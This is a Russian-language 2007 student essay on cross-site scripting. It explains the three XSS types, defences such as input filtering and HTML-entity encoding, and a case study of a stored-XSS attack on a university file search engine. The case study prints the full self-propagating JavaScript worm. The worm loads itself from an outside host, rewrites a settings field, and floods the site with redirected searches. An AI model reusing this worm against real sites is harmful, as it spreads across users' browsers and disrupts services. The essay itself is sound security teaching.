Московский физико-технический институт (ГУ)
Кафедра Радиотехники

Межсайтовый скриптинг
Cross Site Scripting(XSS)

Эссе по курсу "Защита информации"

Павел Белевич 311 гр.

Долгопрудный, 2007.

XSS (Cross Site Scripting) – Межсайтовый скриптинг, тип уязвимости компьютерной системы, чаще всего веб-приложения(web application), при котором злоумышленник способен вставить свой собственный код, который затем будет запущен клиентами этой компьютерной системы. Особенность XSS-атак заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый сервер в качестве средства атаки на клиентов. Это может сделать исключительно трудным отслеживание подобных атак, особенно если запросы не полностью протоколируются (как в случае POST-запросов)

Современные веб-приложения основаны на генерации динамического содержимого (dynamic content), что и является основной причиной появления XSS-уязвимостей. Динамическое содержимое формируется сервером на основе сложного запроса от клиента, содержащего различную информацию, такую как настройки пользователя, параметры запроса и прочее. Эти данные обычно передаются через специально сформированный URL.

XSS-атака проводится путем конструирования специального URL, который злоумышленник передает своей жертве. Можно провести аналогию между XSS-атакой и переполнением буфера, и между инъекцией скрипта и изменением EIP. В обоих случаях существуют две возможности для совершения успешной атаки: вставка мусора, либо переход в другую точку. Вставка мусора при переполнении буфера обычно приводит к атаке на отказ в обслуживании. В случае XSS-атаки она позволяет злоумышленнику отобразить произвольную информацию и подавить вывод оригинальной веб-странице. Что касается перехода в другую точку, при переполнении буфера он обычно производится в некоторую область памяти, в которой расположен код, позволяющий захватить контроль над исполнение программы. В случае XSS, злоумышленник перенаправляет жертву на некоторую веб-страницу, перехватывая текущую сессию. Вместо вставки кода для перехода, злоумышленник может решить вставить код, который будет изменять уязвимую страницу. Вставкой статичного HTML-кода атакующий может модифицировать отображаемое содержимое страницы. Там может находиться, к примеру, код формы для авторизации, результат работы которой получит злоумышленник. Этот метод позволяет обойти средства идентификации, такие как сертификаты сайтов или ручную проверку адреса клиентом.

В настоящее время различаются три типа XSS-уязвимостей:

Тип 0:

Локальная или DOM-based уязвимость, характерна тем, что уязвимый скрипт находиться на локальной машине, а политика безопасности в отношении локальных

скриптов является более мягкой, чем для удаленных. Например, пусть скрипт находиться на локальной машине, причем он имеет доступ к параметрам URL-запроса и использует эту информацию для изменения HTML-структуры документа, без кодирования специальных HTML символов. Злоумышленник создает удаленную HTML-страницу, ссылающуюся на локальную уязвимую страницу, а скрипт злоумышленника осуществляет инъекцию кода, тем самым злоумышленник обходит правила политики безопасности и выполняет свой код с привилегиями локального пользователя.

Тип 1:

Не сохраняемая (non-persistent) уязвимость является наиболее общей. Она характерна тем, что данные, отосланные клиентом, непосредственно используются серверными скриптами для формирования страницы результата без HTML-кодирования, что позволяет осуществлять инъекцию пользовательского кода в динамическую страницу. Классический пример – поисковая страница – при поиске строки, содержащей HTML-код, на странице результата эта строка будет интерпретирована браузером, как html-код. При использовании атаки такого типа часто применяется, так называемая «Социальная инженерия»(Social engineering).

Тип 2:

Уязвимость, при которой данные, предоставляемые пользователем уязвимой системе, хранятся на сервере в базе данных или файловой системе, а затем отображаются на html-странице кодирования специальных HTML символов. Уязвимость такого типа наиболее серьезна, поскольку она позволяет использовать XSS-черви и XSS-вирусы.

Причина большинства уязвимостей - пользовательский ввод. Защита веб-приложения от XSS-уязвимостей заключается в том, что пользователям нельзя давать возможность вводить не проверенную информацию в поля ввода. Проверка в первую очередь должна отсеивать специальные html символы, или кодировать их согласно спецификации HTML Entities. В этих целях очень полезно использовать регулярные выражения, обеспечивающие проверку по "белому списку" и проверяющие данные на соответствие жестким рамкам.

Пример XSS-атаки с использованием уязвимости в Allter File Searcher.

Описание уязвимости:

В веб-интерфейсе поисковика Allter была обнаружена следующая XSS-уязвимость Типа 2: на странице настроек http://allter.mipt.ru/configure.cgi есть поле ввода для имени компьютера, которое будет отображаться на страницах результата поиска, если файлы, которые соответствуют запросу пользователя, будут найдены на этом компьютере. Поле ввода допускает ввод, как и обычного текста, так и кода html со вставками javascript, которые будут отображаться и соответственно выполняться на стороне клиентов.

Цели атаки:

Распространение атакующих компьютеров на всю сеть, сканируемую поисковиком с использованием XSS-червя и последующую не возможность использования поисковика.

Схема атаки:

На бесплатной хостинговой системе webhost.ru по url http://allter.webhost.ru/allter.js был выложен XSS-червь:

```
function allterH() {
if( typeof document.isPerformed == 'undefined' ) {

document.isPerformed = 'true';

var f = document.createElement('form');
f.action = 'http://allter.mipt.ru/configure.cgi';
f.method = 'post';

var inputCompName = document.createElement('input');
inputCompName.type = 'hidden';
inputCompName.name = 'comp_name';
inputCompName.value = '<script type="text/javascript"
src="http://allter.webhost.ru/allter.js"></script>';
f.appendChild(inputCompName);

var inputAction = document.createElement('input');
inputAction.type = 'hidden';
inputAction.name = 'action';
inputAction.value = 'update';
f.appendChild(inputAction);

var inputAllowScan = document.createElement('input');
inputAllowScan.type = 'hidden';
inputAllowScan.name = 'allow_scan';
inputAllowScan.value = 'checked';
f.appendChild(inputAllowScan);

document.appendChild(f);

f.submit();

var min_random = 0x1fffffff;
```

```
var max_random = 0xffffffff;

var range = max_random - min_random;
var n=Math.floor(Math.random()*range) + min_random;

var redirectString = 'http://allter.mipt.ru/?search='+n;

window.location.href=redirectString;

}
}

allterH();
```

Смысл работы червя состоял в том, что на клиентском компьютере браузер выполняет следующие действия:

1. Заменяет имя компьютера на `<script type="text/javascript" src="http://allter.webhost.ru/allter.js"></script>` , т.е. на ссылку на самого себя для дальнейшего распространения атакующих компьютеров.
2. Производит перенаправление(redirect) на поиск случайного числа в пределах от `0x1fffffff` до `0xffffffff` .

Атака была успешно произведена 7 декабря 2006 года, в результате атаки почти каждый компьютер, использовавший поисковик, заменил своё имя на код злоумышленника, а использование поисковика стало не возможным. В последствии выяснилось, что кроме XSS-уязвимости, присутствовала и возможность удаленного выполнения кода на сервере, через переполнение буфера, вследствие чего сам сервер поисковика перестал работать, т.е. одновременно произошла DoS-атака. Данная XSS-уязвимость была исправлена на следующий день, 8 декабря.

Использованные ресурсы:

1. “Cross-site scripting” Wikipedia 2007
   http://en.wikipedia.org/wiki/Xss
2. “The Cross Site Scripting (XSS) FAQ” Cgisecurity.com 2002
   http://www.cgisecurity.com/articles/xss-faq.shtml
3. “HTML 4.01 Entities Reference” W3 Schools
   http://www.w3schools.com/tags/ref_entities.asp
4. Source code for alter-hack-worm http://allter.webhost.ru/allter.js